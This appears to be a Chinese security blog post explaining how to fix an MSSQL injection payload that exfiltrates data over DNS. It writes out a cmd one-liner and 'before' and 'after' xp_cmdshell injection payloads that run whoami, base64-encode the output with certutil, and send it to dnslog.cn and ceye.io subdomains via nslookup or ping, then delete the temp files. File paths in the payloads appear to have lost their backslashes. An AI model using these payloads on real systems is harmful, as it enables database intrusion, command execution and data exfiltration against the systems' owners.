MSSQL注入DNS带外问题解决

admin

102210
文章

87
评论

2020年11月17日08:00:50评论262 views字数 2389阅读7分57秒阅读模式

声明：该公众号大部分文章来自作者日常学习笔记，也有少部分文章是经过原作者授权和其他公众号白名单转载，未经授权，严禁转载，如需转载，联系开白。

请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关。

所有话题标签：

#Web安全 #漏洞复现 #工具使用 #权限提升

#权限维持 #防护绕过 #内网安全 #实战案例

#其他笔记 #资源分享

0x01 前言

朋友@Sin在“对某系统实战练手”这篇文章中看到这种MSSQL注入DNS带外数据的利用方式，但是他在本地复现时遇到了一些问题，所以找我帮着给测试一下，正好闲着没事就看了一下，并在解决这个问题后给他写了这篇记录文。

0x02 正文部分

我们先来看下原作者给出的DNS带外数据命令行版，可以直接执行并通过dnslog接收命令回显。继续来分析一下这条命令的参数和实现的功能吧，cmd参数说明如下。

/c：执行字符串指定的命令然后终止，
/v：使用 ! 作为分隔符启用延迟的环境变量。

cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xhwls9.dnslog.cn && nslookup !FINAL!"

MSSQL注入DNS带外问题解决

1、执行whoami命令写入到temp文件中，并使用certutil命令进行base64编码到temp2文件。

whoami > temp && certutil -encode temp temp2

2、使用findstr命令在temp2文件中搜索不包含"CERTIFICATE"的行内容写入到temp3文件，/L参数：按字使用搜索字符串，/V参数：只打印不包含匹配的行。

findstr /L /V "CERTIFICATE" temp2 > temp3

3、MYVAR变量等于temp3文件内容，FINAL变量=MYVAR.DNSLOG，最后用nslookup命令执行FINAL：nslookup cGVudGVzdC13aW4xMFxzaGFkb3c5DQo=.xhwls9.dnslog.cn，没有nslookup命令时可用ping命令替代，执行这条命令时必须加上cmd的/v参数。

set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xhwls9.dnslog.cn && nslookup !FINAL!"

使用原作者给出的MSSQL注入DNS带外数据Payoad时出现了下图中的报错，笔者根据这个报错进行了一系列的测试，最终修改出以下可执行Payload，可以自己去对比一下它们之间的差别在哪。

修改之前：

exec master..xp_cmdshell "whoami>C:ProgramDatatemp%26%26certutil -encode C:ProgramDatatemp C:ProgramDatatemp2%26%26findstr /L /V ""CERTIFICATE"" C:ProgramDatatemp2>C:ProgramDatatemp3";exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< C:ProgramDatatemp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";exec master..xp_cmdshell "del ""C:ProgramDatatemp"" ""C:ProgramDatatemp2"" ""C:ProgramDatatemp3""";

修改之后：

exec master..xp_cmdshell 'whoami>C:ProgramDatatemp %26%26 certutil -encode C:ProgramDatatemp C:ProgramDatatemp1 %26%26 findstr /L /V "CERTIFICATE" C:ProgramDatatemp1>C:ProgramDatatemp2';exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< C:ProgramDatatemp2 %26%26 set FINAL=!MYVAR!.gnomur.dnslog.cn %26%26 ping !FINAL!""";exec master..xp_cmdshell 'del "C:ProgramDatatemp*"';